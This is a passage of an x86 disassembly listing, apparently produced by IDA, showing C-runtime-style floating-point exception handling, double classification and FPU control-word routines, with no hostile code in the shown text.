		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_41558C
		add	esp, 18h


loc_415532:				; CODE XREF: sub_4154F4+1Aj
		push	[ebp+arg_0]
		call	sub_415B29
		cmp	ds:dword_4301E8, 0
		pop	ecx
		jnz	short loc_415570
		test	eax, eax
		jz	short loc_415570
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_415A56
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_415570:				; CODE XREF: sub_4154F4+4Ej
					; sub_4154F4+52j
		push	eax
		call	sub_415ADE
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_415CC9
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_4154F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41558C	proc near		; CODE XREF: sub_4154F4+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_4155BE
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_4155BE:				; CODE XREF: sub_41558C+23j
		test	cl, 2
		jz	short loc_4155D1
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_4155D1:				; CODE XREF: sub_41558C+35j
		test	cl, bl
		jz	short loc_4155E3
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_4155E3:				; CODE XREF: sub_41558C+47j
		test	cl, 4
		jz	short loc_4155F6
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_4155F6:				; CODE XREF: sub_41558C+5Aj
		test	cl, 8
		jz	short loc_415609
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_415609:				; CODE XREF: sub_41558C+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_415CAC
		test	al, bl
		jz	short loc_415692
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_415692:				; CODE XREF: sub_41558C+FDj
		test	al, 4
		jz	short loc_41569D
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_41569D:				; CODE XREF: sub_41558C+108j
		test	al, 8
		jz	short loc_4156A8
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_4156A8:				; CODE XREF: sub_41558C+113j
		test	al, 10h
		jz	short loc_4156B2
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_4156B2:				; CODE XREF: sub_41558C+11Ej
		test	al, 20h
		jz	short loc_4156BC
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_4156BC:				; CODE XREF: sub_41558C+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_4156FB
		cmp	eax, 400h
		jz	short loc_4156ED
		cmp	eax, 800h
		jz	short loc_4156E1
		cmp	eax, ecx
		jnz	short loc_415701
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_415701
; ---------------------------------------------------------------------------


loc_4156E1:				; CODE XREF: sub_41558C+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_4156F7
; ---------------------------------------------------------------------------


loc_4156ED:				; CODE XREF: sub_41558C+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_4156F7:				; CODE XREF: sub_41558C+15Fj
		mov	[eax], ecx
		jmp	short loc_415701
; ---------------------------------------------------------------------------


loc_4156FB:				; CODE XREF: sub_41558C+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_415701:				; CODE XREF: sub_41558C+14Bj
					; sub_41558C+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_41572C
		cmp	eax, 200h
		jz	short loc_41571F
		cmp	eax, ecx
		jnz	short loc_415739
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_415739
; ---------------------------------------------------------------------------


loc_41571F:				; CODE XREF: sub_41558C+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_415737
; ---------------------------------------------------------------------------


loc_41572C:				; CODE XREF: sub_41558C+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_415737:				; CODE XREF: sub_41558C+19Ej
		mov	[eax], ecx


loc_415739:				; CODE XREF: sub_41558C+189j
					; sub_41558C+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_415CBA
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	ds:dword_41D178	; RaiseException
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_4157B3
		and	dword ptr [esi], 0FFFFFFFEh


loc_4157B3:				; CODE XREF: sub_41558C+222j
		test	byte ptr [eax+8], 8
		jz	short loc_4157BC
		and	dword ptr [esi], 0FFFFFFFBh


loc_4157BC:				; CODE XREF: sub_41558C+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_4157C5
		and	dword ptr [esi], 0FFFFFFF7h


loc_4157C5:				; CODE XREF: sub_41558C+234j
		test	byte ptr [eax+8], 2
		jz	short loc_4157CE
		and	dword ptr [esi], 0FFFFFFEFh


loc_4157CE:				; CODE XREF: sub_41558C+23Dj
		test	[eax+8], bl
		jz	short loc_4157D6
		and	dword ptr [esi], 0FFFFFFDFh


loc_4157D6:				; CODE XREF: sub_41558C+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_41580A
		dec	ecx
		jz	short loc_4157FE
		dec	ecx
		jz	short loc_4157F4
		dec	ecx
		jnz	short loc_41580C
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_41580C
; ---------------------------------------------------------------------------


loc_4157F4:				; CODE XREF: sub_41558C+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_415806
; ---------------------------------------------------------------------------


loc_4157FE:				; CODE XREF: sub_41558C+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_415806:				; CODE XREF: sub_41558C+270j
		mov	[esi], ecx
		jmp	short loc_41580C
; ---------------------------------------------------------------------------


loc_41580A:				; CODE XREF: sub_41558C+257j
		and	[esi], edx


loc_41580C:				; CODE XREF: sub_41558C+260j
					; sub_41558C+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_41582C
		dec	ecx
		jz	short loc_415823
		dec	ecx
		jnz	short loc_415835
		and	[esi], edx
		jmp	short loc_415835
; ---------------------------------------------------------------------------


loc_415823:				; CODE XREF: sub_41558C+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_415833
; ---------------------------------------------------------------------------


loc_41582C:				; CODE XREF: sub_41558C+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_415833:				; CODE XREF: sub_41558C+29Ej
		mov	[esi], ecx


loc_415835:				; CODE XREF: sub_41558C+291j
					; sub_41558C+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41558C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41583F	proc near		; CODE XREF: sub_4154F4+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_41586A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_41586A
		push	ebx
		call	sub_415CEC
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_415A34
; ---------------------------------------------------------------------------


loc_41586A:				; CODE XREF: sub_41583F+15j
					; sub_41583F+1Aj
		test	al, 4
		jz	short loc_415884
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_415884
		push	4
		call	sub_415CEC
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_415A34
; ---------------------------------------------------------------------------


loc_415884:				; CODE XREF: sub_41583F+2Dj
					; sub_41583F+33j
		test	al, bl
		jz	loc_41595E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_41595E
		push	8
		call	sub_415CEC
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_415936
		cmp	ecx, 400h
		jz	short loc_41590E
		cmp	ecx, 800h
		jz	short loc_4158E6
		cmp	ecx, eax
		jnz	loc_415956
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_41D7A8
		fld	ds:dbl_42FB78
		fnstsw	ax
		sahf
		ja	short loc_4158DE
		fchs


loc_4158DE:				; CODE XREF: sub_41583F+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_415954
; ---------------------------------------------------------------------------


loc_4158E6:				; CODE XREF: sub_41583F+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_41D7A8
		fnstsw	ax
		sahf
		jbe	short loc_4158FE
		fld	ds:dbl_42FB68
		jmp	short loc_415906
; ---------------------------------------------------------------------------


loc_4158FE:				; CODE XREF: sub_41583F+B5j
		fld	ds:dbl_42FB78
		fchs


loc_415906:				; CODE XREF: sub_41583F+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_415954
; ---------------------------------------------------------------------------


loc_41590E:				; CODE XREF: sub_41583F+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_41D7A8
		fnstsw	ax
		sahf
		jbe	short loc_415926
		fld	ds:dbl_42FB78
		jmp	short loc_41592E
; ---------------------------------------------------------------------------


loc_415926:				; CODE XREF: sub_41583F+DDj
		fld	ds:dbl_42FB68
		fchs


loc_41592E:				; CODE XREF: sub_41583F+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_415954
; ---------------------------------------------------------------------------


loc_415936:				; CODE XREF: sub_41583F+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_41D7A8
		fld	ds:dbl_42FB68
		fnstsw	ax
		sahf
		ja	short loc_41594E
		fchs


loc_41594E:				; CODE XREF: sub_41583F+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_415954:				; CODE XREF: sub_41583F+A5j
					; sub_41583F+CDj ...
		fstp	qword ptr [ecx]


loc_415956:				; CODE XREF: sub_41583F+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_415A34
; ---------------------------------------------------------------------------


loc_41595E:				; CODE XREF: sub_41583F+47j
					; sub_41583F+51j
		test	al, 2
		jz	loc_415A34
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_415A34
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_415979
		mov	esi, ebx


loc_415979:				; CODE XREF: sub_41583F+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	ds:dbl_41D7A8
		fnstsw	ax
		sahf
		jz	loc_415A22
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_415BEB
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_4159C4
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_415A18
; ---------------------------------------------------------------------------


loc_4159C4:				; CODE XREF: sub_41583F+17Aj
		fld	[ebp+var_C]
		fcomp	ds:dbl_41D7A8
		fnstsw	ax
		sahf
		jnb	short loc_4159D6
		mov	edx, ebx
		jmp	short loc_4159D8
; ---------------------------------------------------------------------------


loc_4159D6:				; CODE XREF: sub_41583F+191j
		xor	edx, edx


loc_4159D8:				; CODE XREF: sub_41583F+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_415A0C
		sub	eax, ecx


loc_4159EF:				; CODE XREF: sub_41583F+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_4159FA
		test	esi, esi
		jnz	short loc_4159FA
		mov	esi, ebx


loc_4159FA:				; CODE XREF: sub_41583F+1B3j
					; sub_41583F+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_415A06
		or	byte ptr [ebp+var_C+3],	80h


loc_415A06:				; CODE XREF: sub_41583F+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_4159EF


loc_415A0C:				; CODE XREF: sub_41583F+1ACj
		test	edx, edx
		jz	short loc_415A18
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_415A18:				; CODE XREF: sub_41583F+183j
					; sub_41583F+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_415A24
; ---------------------------------------------------------------------------


loc_415A22:				; CODE XREF: sub_41583F+14Ej
		mov	esi, ebx


loc_415A24:				; CODE XREF: sub_41583F+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_415A31
		push	10h
		call	sub_415CEC
		pop	ecx


loc_415A31:				; CODE XREF: sub_41583F+1E8j
		and	edi, 0FFFFFFFDh


loc_415A34:				; CODE XREF: sub_41583F+26j
					; sub_41583F+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_415A4B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_415A4B
		push	20h
		call	sub_415CEC
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_415A4B:				; CODE XREF: sub_41583F+1F9j
					; sub_41583F+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_41583F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_415A56(int, int, int,	int, int, int, double, int)

sub_415A56	proc near		; CODE XREF: sub_4154A1+2Bp
					; sub_4154F4+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_415B04
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_415AC1
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_415CC9
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_419651
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_415ABB
		push	esi
		call	sub_415ADE
		pop	ecx


loc_415ABB:				; CODE XREF: sub_415A56+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_415AC1:				; CODE XREF: sub_415A56+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_415CC9
		push	[ebp+arg_0]
		call	sub_415ADE
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_415A56	endp


; =============== S U B	R O U T	I N E =======================================



sub_415ADE	proc near		; CODE XREF: sub_4154F4+7Dp
					; sub_415A56+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_415AF9
		jle	short locret_415B03
		cmp	eax, 3
		jg	short locret_415B03
		mov	ds:dword_460F8C, 22h
		retn
; ---------------------------------------------------------------------------


loc_415AF9:				; CODE XREF: sub_415ADE+7j
		mov	ds:dword_460F8C, 21h

locret_415B03:				; CODE XREF: sub_415ADE+9j
					; sub_415ADE+Ej
		retn
sub_415ADE	endp


; =============== S U B	R O U T	I N E =======================================



sub_415B04	proc near		; CODE XREF: sub_415A56+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_42FA90


loc_415B0B:				; CODE XREF: sub_415B04+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_415B21
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_42FB68
		jl	short loc_415B0B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_415B21:				; CODE XREF: sub_415B04+Dj
		mov	eax, ds:off_42FA94[ecx*8]
		retn
sub_415B04	endp


; =============== S U B	R O U T	I N E =======================================



sub_415B29	proc near		; CODE XREF: sub_4154F4+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_415B35
		push	5
		jmp	short loc_415B4B
; ---------------------------------------------------------------------------


loc_415B35:				; CODE XREF: sub_415B29+6j
		test	al, 8
		jz	short loc_415B3D
		push	1
		jmp	short loc_415B4B
; ---------------------------------------------------------------------------


loc_415B3D:				; CODE XREF: sub_415B29+Ej
		test	al, 4
		jz	short loc_415B45
		push	2
		jmp	short loc_415B4B
; ---------------------------------------------------------------------------


loc_415B45:				; CODE XREF: sub_415B29+16j
		test	al, 1
		jz	short loc_415B4D
		push	3


loc_415B4B:				; CODE XREF: sub_415B29+Aj
					; sub_415B29+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_415B4D:				; CODE XREF: sub_415B29+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_415B29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_415B56(double)

sub_415B56	proc near		; CODE XREF: sub_412102:loc_412188p
					; sub_41224B:loc_4122D1p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_415B56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_415B68(double, int)

sub_415B68	proc near		; CODE XREF: sub_415BEB+82p
					; sub_415BEB+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_415B68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415B91	proc near		; CODE XREF: sub_412102+31p
					; sub_41224B+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_415BA8
		cmp	[ebp+arg_0], edx
		jnz	short loc_415BBA
		push	1
		jmp	short loc_415BE4
; ---------------------------------------------------------------------------


loc_415BA8:				; CODE XREF: sub_415B91+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_415BBA
		cmp	[ebp+arg_0], edx
		jnz	short loc_415BBA
		push	2
		jmp	short loc_415BE4
; ---------------------------------------------------------------------------


loc_415BBA:				; CODE XREF: sub_415B91+11j
					; sub_415B91+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_415BCD
		push	3
		jmp	short loc_415BE4
; ---------------------------------------------------------------------------


loc_415BCD:				; CODE XREF: sub_415B91+36j
		cmp	cx, 7FF0h
		jnz	short loc_415BE7
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_415BE2
		cmp	[ebp+arg_0], edx
		jz	short loc_415BE7


loc_415BE2:				; CODE XREF: sub_415B91+4Aj
		push	4


loc_415BE4:				; CODE XREF: sub_415B91+15j
					; sub_415B91+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_415BE7:				; CODE XREF: sub_415B91+41j
					; sub_415B91+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_415B91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_415BEB(double, int)

sub_415BEB	proc near		; CODE XREF: sub_41583F+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	ds:dbl_41D7A8
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_415C0B
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_415CA1
; ---------------------------------------------------------------------------


loc_415C0B:				; CODE XREF: sub_415BEB+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_415C7A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_415C23
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_415C7A


loc_415C23:				; CODE XREF: sub_415BEB+31j
		fld	[ebp+arg_0]
		fcomp	ds:dbl_41D7A8
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_415C3B
		push	1
		pop	eax
		jmp	short loc_415C3D
; ---------------------------------------------------------------------------


loc_415C3B:				; CODE XREF: sub_415BEB+49j
		xor	eax, eax


loc_415C3D:				; CODE XREF: sub_415BEB+4Ej
					; sub_415BEB+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_415C56
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_415C50
		or	dword ptr [ebp+arg_0+4], 1


loc_415C50:				; CODE XREF: sub_415BEB+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_415C3D
; ---------------------------------------------------------------------------


loc_415C56:				; CODE XREF: sub_415BEB+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_415C64
		or	byte ptr [ebp+arg_0+7],	80h


loc_415C64:				; CODE XREF: sub_415BEB+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_415B68
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_415CA1
; ---------------------------------------------------------------------------


loc_415C7A:				; CODE XREF: sub_415BEB+28j
					; sub_415BEB+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_415B68
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_415CA1:				; CODE XREF: sub_415BEB+1Bj
					; sub_415BEB+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_415BEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415CAC	proc near		; CODE XREF: sub_41558C+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_415CAC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415CBA	proc near		; CODE XREF: sub_41558C+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_415CBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415CC9	proc near		; CODE XREF: sub_412102+13p
					; sub_412102+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_415CC9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415CEC	proc near		; CODE XREF: sub_41583F+1Dp
					; sub_41583F+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_415D03
		fld	ds:tbyte_42FB90
		fistp	[ebp+arg_0]
		wait


loc_415D03:				; CODE XREF: sub_415CEC+Bj
		test	cl, 8
		jz	short loc_415D18
